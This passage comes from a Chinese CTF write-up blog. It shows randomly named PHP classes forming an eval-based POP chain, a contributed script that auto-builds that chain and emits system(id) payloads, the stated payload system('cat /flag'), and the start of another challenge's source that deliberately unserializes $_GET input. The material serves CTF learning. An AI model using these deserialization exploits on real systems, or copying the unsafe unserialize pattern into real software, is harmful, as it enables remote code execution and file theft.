class="variable">$MSL6W</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">qAARvi</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$E0cUWyC</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">GlSPMd</span>(<span class="params"><span class="variable">$XHiV9</span></span>)</span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;BrLVt = <span class="string">&quot;GAVzp&quot;</span>;</span><br><span class="line"><span class="keyword">if</span>(method_exists(<span class="keyword">$this</span>-&gt;E0cUWyC, <span class="string">&#x27;YAF1Wt&#x27;</span>)) <span class="keyword">$this</span>-&gt;E0cUWyC-&gt;YAF1Wt(<span class="variable">$XHiV9</span>);</span><br><span class="line"><span class="keyword">if</span>(method_exists(<span class="keyword">$this</span>-&gt;E0cUWyC, <span class="string">&#x27;KfVcH5&#x27;</span>)) <span class="keyword">$this</span>-&gt;E0cUWyC-&gt;KfVcH5(<span class="variable">$XHiV9</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">olsElL</span>(<span class="params"><span class="variable">$t43I8</span></span>)</span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;v35pY = <span class="string">&quot;TNiWd&quot;</span>;</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$t43I8</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//......</span></span><br></pre></td></tr></table></figure><p>函数名 类名随机 生成  最总链成 用 eval 执行 system (“cat /flag”);</p><p>太菜了不会写脚本 用手工找几十个就行了，有大佬会写脚本的教教我</p><p>贴一个 大佬的脚本</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">include_once</span> <span class="string">&quot;class.php&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">include_once</span> <span class="string">&quot;exp_1.php&quot;</span>;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * $arr = [</span></span><br><span class="line"><span class="comment"> *  new AAA(),</span></span><br><span class="line"><span class="comment"> *  new BBB(),</span></span><br><span class="line"><span class="comment"> *  ...</span></span><br><span class="line"><span class="comment"> * ];</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$source</span> = file_get_contents(<span class="string">&#x27;class.php&#x27;</span>);</span><br><span class="line"><span class="variable">$fsource</span> = preg_split(<span class="string">&#x27;/&#x27;</span> . PHP_EOL . <span class="string">&#x27;/&#x27;</span>, <span class="variable">$source</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$evalfuncarr</span> = [];</span><br><span class="line"><span class="variable">$popchain</span> = [];</span><br><span class="line"><span class="variable">$i</span> = [];</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">isfuncblacklist</span>(<span class="params"><span class="variable">$fname</span></span>) </span>&#123;</span><br><span class="line">  <span class="variable">$blacklist</span> = [<span class="string">&#x27;MISVgg&#x27;</span>];</span><br><span class="line">  <span class="keyword">foreach</span>(<span class="variable">$blacklist</span> <span class="keyword">as</span> <span class="variable">$b</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$b</span> == <span class="variable">$fname</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$arr</span> <span class="keyword">as</span> <span class="variable">$a</span>) &#123;</span><br><span class="line">  <span class="variable">$methods</span>=get_class_methods(<span class="variable">$a</span>);</span><br><span class="line">  <span class="keyword">foreach</span> (<span class="variable">$methods</span> <span class="keyword">as</span> <span class="variable">$method</span>) &#123;</span><br><span class="line">      <span class="variable">$func</span> = <span class="keyword">new</span> ReflectionMethod(<span class="variable">$a</span>, <span class="variable">$method</span>);</span><br><span class="line">      <span class="keyword">if</span>(isfuncblacklist(<span class="variable">$func</span>-&gt;name)) &#123;</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="variable">$f</span> = <span class="variable">$func</span>-&gt;getFileName();</span><br><span class="line">      <span class="variable">$start_line</span> = <span class="variable">$func</span>-&gt;getStartLine() - <span class="number">1</span>;</span><br><span class="line">      <span class="variable">$end_line</span> = <span class="variable">$func</span>-&gt;getEndLine();</span><br><span class="line">      <span class="variable">$length</span> = <span class="variable">$end_line</span> - <span class="variable">$start_line</span>;    </span><br><span class="line">      <span class="variable">$body</span> = implode(PHP_EOL, array_slice(<span class="variable">$fsource</span>, <span class="variable">$start_line</span>, <span class="variable">$length</span>));</span><br><span class="line">      <span class="keyword">if</span>(strstr(<span class="variable">$body</span>, <span class="string">&#x27;eval&#x27;</span>))&#123;</span><br><span class="line">        array_push(<span class="variable">$evalfuncarr</span>, <span class="keyword">array</span>(<span class="string">&#x27;class&#x27;</span>=&gt;<span class="variable">$a</span>, <span class="string">&#x27;func&#x27;</span>=&gt;<span class="variable">$method</span>));</span><br><span class="line">      &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getcaller</span>(<span class="params"><span class="variable">$funcname</span></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">global</span> <span class="variable">$arr</span>, <span class="variable">$fsource</span>, <span class="variable">$blacklist</span>;</span><br><span class="line">  <span class="keyword">foreach</span>(<span class="variable">$arr</span> <span class="keyword">as</span> <span class="variable">$a</span>) &#123;</span><br><span class="line">    <span class="variable">$methods</span>=get_class_methods(<span class="variable">$a</span>);</span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$methods</span> <span class="keyword">as</span> <span class="variable">$method</span>) &#123;</span><br><span class="line">      <span class="variable">$func</span> = <span class="keyword">new</span> ReflectionMethod(<span class="variable">$a</span>, <span class="variable">$method</span>);</span><br><span class="line">      <span class="keyword">if</span>(<span class="variable">$func</span>-&gt;name === <span class="variable">$funcname</span>) &#123;</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span>(isfuncblacklist(<span class="variable">$func</span>-&gt;name)) &#123;</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="variable">$f</span> = <span class="variable">$func</span>-&gt;getFileName();</span><br><span class="line">      <span class="variable">$start_line</span> = <span class="variable">$func</span>-&gt;getStartLine() - <span class="number">1</span>;</span><br><span class="line">      <span class="variable">$end_line</span> = <span class="variable">$func</span>-&gt;getEndLine();</span><br><span class="line">      <span class="variable">$length</span> = <span class="variable">$end_line</span> - <span class="variable">$start_line</span>;    </span><br><span class="line">      <span class="variable">$body</span> = implode(PHP_EOL, array_slice(<span class="variable">$fsource</span>, <span class="variable">$start_line</span>, <span class="variable">$length</span>));</span><br><span class="line">      <span class="keyword">if</span>(strstr(<span class="variable">$body</span>, <span class="variable">$funcname</span>))&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">array</span>(</span><br><span class="line">          <span class="string">&#x27;class&#x27;</span> =&gt; <span class="variable">$a</span>,</span><br><span class="line">          <span class="string">&#x27;func&#x27;</span> =&gt; <span class="variable">$method</span></span><br><span class="line">        );</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$finded</span> = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">foreach</span>(<span class="variable">$evalfuncarr</span> <span class="keyword">as</span> <span class="variable">$a</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span>(<span class="variable">$finded</span> == <span class="literal">true</span>)&#123;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="variable">$ret</span> = <span class="variable">$a</span>;</span><br><span class="line">  <span class="variable">$popchain</span> = [];</span><br><span class="line">  <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">    <span class="variable">$ret</span> = getcaller(<span class="variable">$ret</span>[<span class="string">&#x27;func&#x27;</span>]);</span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$ret</span> == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      array_pop(<span class="variable">$popchain</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    array_push(<span class="variable">$popchain</span>, <span class="variable">$ret</span>);</span><br><span class="line">    printf(<span class="string">&quot;\r[-] %s&quot;</span>, <span class="variable">$ret</span>[<span class="string">&#x27;func&#x27;</span>]);</span><br><span class="line">    <span class="comment">// BrtDix</span></span><br><span class="line">    <span class="keyword">if</span>(<span class="variable">$ret</span>[<span class="string">&#x27;func&#x27;</span>] == <span class="string">&#x27;BrtDix&#x27;</span>) &#123;</span><br><span class="line">      printf(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">      var_dump(<span class="variable">$popchain</span>);</span><br><span class="line">      <span class="keyword">foreach</span>(<span class="variable">$popchain</span> <span class="keyword">as</span> <span class="variable">$p</span>) &#123;</span><br><span class="line">        printf(<span class="string">&quot;%s::%s -&gt; &quot;</span>, get_class(<span class="variable">$p</span>[<span class="string">&#x27;class&#x27;</span>]), <span class="variable">$p</span>[<span class="string">&#x27;func&#x27;</span>]);</span><br><span class="line">      &#125;;</span><br><span class="line">      <span class="comment">// valid</span></span><br><span class="line">      valid(<span class="variable">$a</span>, <span class="variable">$popchain</span>);</span><br><span class="line">      <span class="comment">// $finded = true;</span></span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">valid</span>(<span class="params"><span class="variable">$evalfunc</span>, <span class="variable">$chain</span></span>) </span>&#123;</span><br><span class="line">  <span class="variable">$code</span> = <span class="string">&quot;&lt;?php\n&quot;</span>;</span><br><span class="line">  <span class="variable">$code</span> .= <span class="string">&quot;include_once &#x27;class.php&#x27;;&quot;</span>;</span><br><span class="line">  <span class="variable">$code</span> .= <span class="string">&quot;\$e = new &quot;</span>.get_class(<span class="variable">$evalfunc</span>[<span class="string">&#x27;class&#x27;</span>]).<span class="string">&quot;();\n&quot;</span>;</span><br><span class="line">  <span class="keyword">for</span> (<span class="variable">$i</span>=<span class="number">0</span>; <span class="variable">$i</span> &lt; sizeof(<span class="variable">$chain</span>); <span class="variable">$i</span>++) &#123;</span><br><span class="line">      <span class="variable">$tmp</span> = <span class="variable">$chain</span>[<span class="variable">$i</span>];</span><br><span class="line">      <span class="variable">$propname</span> = array_keys(get_object_vars(<span class="variable">$tmp</span>[<span class="string">&#x27;class&#x27;</span>]))[<span class="number">0</span>];</span><br><span class="line">      <span class="variable">$t</span> = <span class="variable">$i</span> - <span class="number">1</span>;</span><br><span class="line">      <span class="variable">$code</span> .= <span class="string">&quot;\$a<span class="subst">&#123;$i&#125;</span> = new &quot;</span>.get_class(<span class="variable">$tmp</span>[<span class="string">&#x27;class&#x27;</span>]).<span class="string">&quot;();\n&quot;</span>;</span><br><span class="line">      <span class="keyword">if</span>(<span class="variable">$i</span> == <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="variable">$code</span> .= <span class="string">&quot;\$a<span class="subst">&#123;$i&#125;</span>-&gt;<span class="subst">&#123;$propname&#125;</span> = \$e;\n&quot;</span>;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$code</span> .= <span class="string">&quot;\$a<span class="subst">&#123;$i&#125;</span>-&gt;<span class="subst">&#123;$propname&#125;</span> = \$a<span class="subst">&#123;$t&#125;</span>;\n&quot;</span>;</span><br><span class="line">      &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="variable">$m</span> = sizeof(<span class="variable">$chain</span>)<span class="number">-1</span>;</span><br><span class="line">  <span class="variable">$code</span> .= <span class="string">&quot;\$a<span class="subst">&#123;$m&#125;</span>-&gt;BrtDix(&#x27;system(id);// &#x27;);&quot;</span>;</span><br><span class="line">  <span class="keyword">echo</span> <span class="variable">$code</span>;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">&quot;\n\n&quot;</span>;</span><br><span class="line">  file_put_contents(<span class="string">&quot;test_&quot;</span>.<span class="variable">$evalfunc</span>[<span class="string">&#x27;func&#x27;</span>].<span class="string">&quot;.php&quot;</span>, <span class="variable">$code</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x02-强网先锋赌徒"><a class="markdownIt-Anchor" href="#0x02-强网先锋赌徒">#</a> 0x02 <strong>[强网先锋] 赌徒</strong></h1><p><img src="https://img-blog.csdnimg.cn/20210614220634828.png" alt="在这里插入图片描述"><br>打开网站 看到一串提示信息，<br>www.zip  下载源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br></pre></td><td class="code"><pre><span class="line">&lt;meta charset=<span class="string">&quot;utf-8&quot;</span>&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//hint is in hint.php</span></span><br><span class="line">error_reporting(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Start</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>=<span class="string">&#x27;guest&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$flag</span>=<span class="string">&#x27;syst3m(&quot;cat 127.0.0.1/etc/hint&quot;);&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;I think you need /etc/hint . Before this you need to see the source code&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">_sayhello</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;ok&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;hi&quot;</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;_sayhello();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$cc</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;give you flag : &quot;</span>.<span class="keyword">$this</span>-&gt;flag;</span><br><span class="line">        <span class="keyword">return</span> ;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Info</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$phonenumber</span>=<span class="number">123123</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$promise</span>=<span class="string">&#x27;I do&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;promise=<span class="string">&#x27;I will not !!!!&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;promise;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;file[<span class="string">&#x27;filename&#x27;</span>]-&gt;ffiillee[<span class="string">&#x27;ffiilleennaammee&#x27;</span>];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Room</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$filename</span>=<span class="string">&#x27;/flag&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$sth_to_set</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>=<span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$name</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$function</span> = <span class="keyword">$this</span>-&gt;a;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$function</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">Get_hint</span>(<span class="params"><span class="variable">$file</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$hint</span>=base64_encode(file_get_contents(<span class="variable">$file</span>));</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$hint</span>;</span><br><span class="line">        <span class="keyword">return</span> ;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="keyword">$this</span>-&gt;Get_hint(<span class="keyword">$this</span>-&gt;filename);</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$content</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;hello&#x27;</span>]))&#123;</span><br><span class="line">    unserialize(<span class="variable">$_GET</span>[<span class="string">&#x27;hello&#x27;</span>]);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="variable">$hi</span> = <span class="keyword">new</span>  Start();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">&lt;meta charset=<span class="string">&quot;utf-8&quot;</span>&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//hint is in hint.php</span></span><br><span class="line">error_reporting(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Start</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>=<span class="string">&#x27;guest&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$flag</span>=<span class="string">&#x27;syst3m(&quot;cat 127.0.0.1/etc/hint&quot;);&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;I think you need /etc/hint . Before this you need to see the source code&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">_sayhello</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;ok&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;hi&quot;</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;_sayhello();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$cc</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;give you flag : &quot;</span>.<span class="keyword">$this</span>-&gt;flag;</span><br><span class="line">        <span class="keyword">return</span> ;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Info</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$phonenumber</span>=<span class="number">123123</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$promise</span>=<span class="string">&#x27;I do&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;promise=<span class="string">&#x27;I will not !!!!&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;promise;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;file[<span class="string">&#x27;filename&#x27;</span>]-&gt;ffiillee[<span class="string">&#x27;ffiilleennaammee&#x27;</span>];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Room</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$filename</span>=<span class="string">&#x27;/flag&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$sth_to_set</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>=<span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$name</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$function</span> = <span class="keyword">$this</span>-&gt;a;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$function</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">Get_hint</span>(<span class="params"><span class="variable">$file</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$hint</span>=base64_encode(file_get_contents(<span class="variable">$file</span>));</span><br><span class="line">        <span class="keyword">echo</span> <span 